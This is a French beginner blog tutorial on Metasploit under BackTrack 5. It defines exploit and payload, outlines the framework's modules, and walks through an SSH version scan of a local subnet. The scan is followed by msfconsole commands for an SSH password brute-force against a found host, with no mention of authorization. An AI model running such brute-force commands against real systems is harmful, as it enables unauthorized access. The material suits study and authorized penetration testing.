Devenir un Hacker! C'est facile ...!! Partie -2- Metasploit

Après l'installation de BackTrack 5, maintenant on va amuser un peu, en utilisant notre Metasploit Framework  qui est installé avec notre Backtrack 5.


Commençons par définir quelques mots importants :

Vulnérabilité : une faiblesse/ faille qui peut être exploité par un pirate dans le but de casser/ compromettre  la sécurité d’un système.
Exploit : Du code qui permet à un attaquant d’exploiter une vulnérabilité.
Payload : Code lancé après l’exploitation d’une vulnérabilité.

Petit exemple concret sur ce vocabulaire :

Prenons une maison qui possédant une serrure pouvant être ouvert par plusieurs clés.
La vulnérabilité est la serrure qui est « faillible ».
L’exploit est la possibilité offerte au voleur d’entrer dans cette maison avec une clé « pass ».
Et le Payload est ce que va faire le voleur une fois qu’il a réussi à ouvrir la porte (voler les bijoux ?) ;)
Dans le cas des vulnérabilités informatiques, l’attaquant une fois l’exploit et le Payload envoyé sur le système vulnérable peut télécharger les données de la cible, mettre un malware, rootkit…





Afin de bien comprendre comment fonctionne Metasploit voyons comment est structuré le framework :



Source : metasploitunleashed. Ci-dessus l’architecture de metasploit.
Tout d’abord on constate que l’architecture est modulaire permettant  d’adapter MSF et son utilisation selon le cas étudié :
- Metasploit fonctionne sous divers interfaces qui interagissent avec le « MSF Base » ( GUI (graphique), WEB,  CLI et msfConsole).
Dans les cours qui vont suivre nous utiliseront essentiellement msfConsole.
En effet msfConsole offre le meilleur support / fonctionnalité du Framework.
D’autre part msfConsole est console interactive pour Metasploit.
Elle permet la complétion automatique (tab)
Des commandes externes peuvent être exécutés.
L’interface la plus adaptée à l’utilisation complète de MSF.
La plupart des commandes sont assez intuitives.
Les commandes de Metasploit nous les verrons au fur et mesure.
Mais sachez qu’il existe des commandes de database, qui permettent de gérer l’enregistrement / archivages de tout ce qui est traité avec Metasploit.
On peut par exemple importer des log de nmap, nessus.. dans metasploit.

Par ailleurs on parle aussi d’architecture modulaire car avec MSF nous avons la possibilité d’utiliser certains modules :

« Exploit » Module

ls module



Sur l’image ci-dessus nous voyons que  ces exploits sont rangés par OS, puis par « services ».
Ce sont des scripts ruby qui contiennent le code l’exploit.

 « Aux » Module

Il s’agit de modules axillaires utilisés pour diverses taches comme le scan de port, sniffing, scan de services.

aux module ls

« Payload » module :

Nous l’avons vu dans l’introductionà MSF dans le chapitre précédent, les Payload est le code exécuté une fois la vulnérabilité exploitée.
Il y a trois types de Payload disponibles : « singles » « stagers »et « stage »
Single Payload : Payload qui effectue une tâche spécifique (crée un nouveau utilsiateur, binder un shell)..
Stager Payload : crée une connexion entre la victime et l’attaquant (exemple du bind shell).
Stage Payload : Il est téléchargé par le « stager » afin d’exécuter des taches un peu plus complexes (exécuter le shell Windows)
Une des grandes puissances du framework est la possibilité de choisir parmi plusieurs Payload pour un même exploit.

Exemple d'utilisation de Metasploit 

Passons sans plus attendre à la partie la plus intéressante : l'utilisation de Metasploit. Dans l'exemple qui suit, nous allons scanner un réseau afin de trouver toutes machines qui possèdent un serveur SSH et obtenir ensuite la version utilisée.
On commence par regarder la liste des scanners SSH disponibles :
search ssh
Puis, on charge le bon scanner et on regarde les options disponibles :
info scanner/ssh/ssh_version
           use scanner/ssh/ssh_version
           show options
Module options:

Name       Current Setting   Required   Description
--------     ------------------  --------   -----------
RHOSTS                            yes          The target address range or CIDR identifier
RPORT      22                     yes          The target port
THREADS    1                      yes          The number of concurrent threads

On définit ensuite la plage d'adresses IP à scanner (variable RHOSTS) et le nombre de threads à utiliser lors de la recherche :
set RHOSTS 192.168.1.0-192.168.1.255
           set THREADS 50
           show options
Pour finir, on lance le scan :
run
[*] Scanned 051 of 256 hosts (019% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] 192.168.1.106:22, SSH server version: SSH-2.0-OpenSSH_4.3
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

Nous venons de découvrir une machine (192.168.1.106) qui possède un serveur SSH en version 2.0. Nous allons essayer d'aller plus loin en lançant une attaque par bruteforce sur cette dernière. Rien de plus simple avec le module "ssh_login" :
use scanner/ssh/ssh_login
           show options
           set RHOSTS 192.168.1.106
           set RPORT 22
           set THREADS 50
Parmi les options, il est possible de forcer l'arrêt dès qu'un mot de passe fonctionne. On peut également forcer le login et charger un fichier contenant une liste de passwords :
set STOP_ON_SUCCESS true
set USERNAME pti-seb
set PASS_FILE /usr/share/dict/words
        run

Quelques astuces d'utilisation de Metasploit 

Si vous êtes arrivé jusqu'ici, c'est que Metasploit vous intéresse. Je vais donc vous donner une liste d'astuces supplémentaires.
Si vous voulez connaître la version de Metasploit utilisée :
msf > version
Framework: 3.4.1-dev.9325
Console : 3.4.1-dev.9372
Pour obtenir de l'aide :
help

Il est par exemple possible de définir des variables de façon globale. Pratique, car comme ça on n'a pas besoin de redéclarer RHOSTS, THREADS..., à chaque fois que l'on change de module. Pour cela, il faut utiliser setg au lieu de set :
setg RHOSTS 192.168.1.0-192.168.1.255
setg THREADS 50
Si l'on veut lister l'intégralité des exploits, modules, playloads :
search
>> Si l'on veut lister tous les modules de scanners :
search auxiliary ^scanner
Si l'on veut modifier le code source d'un module, on peut utiliser les commandes suivantes :
msf > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > load editor
msf auxiliary(ssh_version) > edit
Pour quitter Metasploit :
quit

 

Conclusion 

Bien entendu, l'utilisation de Metasploit ne se limite pas qu'aux scanners. Des centaines d'exploits sont également disponibles et permettront d'attaquer tout type de machines (Linux, Windows...). Un outil de fuzzing est également intégré dans les dernières versions. Celui-ci permet de découvrir des vulnérabilités dans des logiciels. Bref, Metasploit est un outil puissant qui n'a pas fini de faire parler de lui.

>> Aller plus loins

 


Aucun commentaire:

Enregistrer un commentaire

 
Real Time Web Analytics Bloggers - Meet Millions of Bloggers

Add to Google Reader or Homepage

Powered by FeedBurner

back to top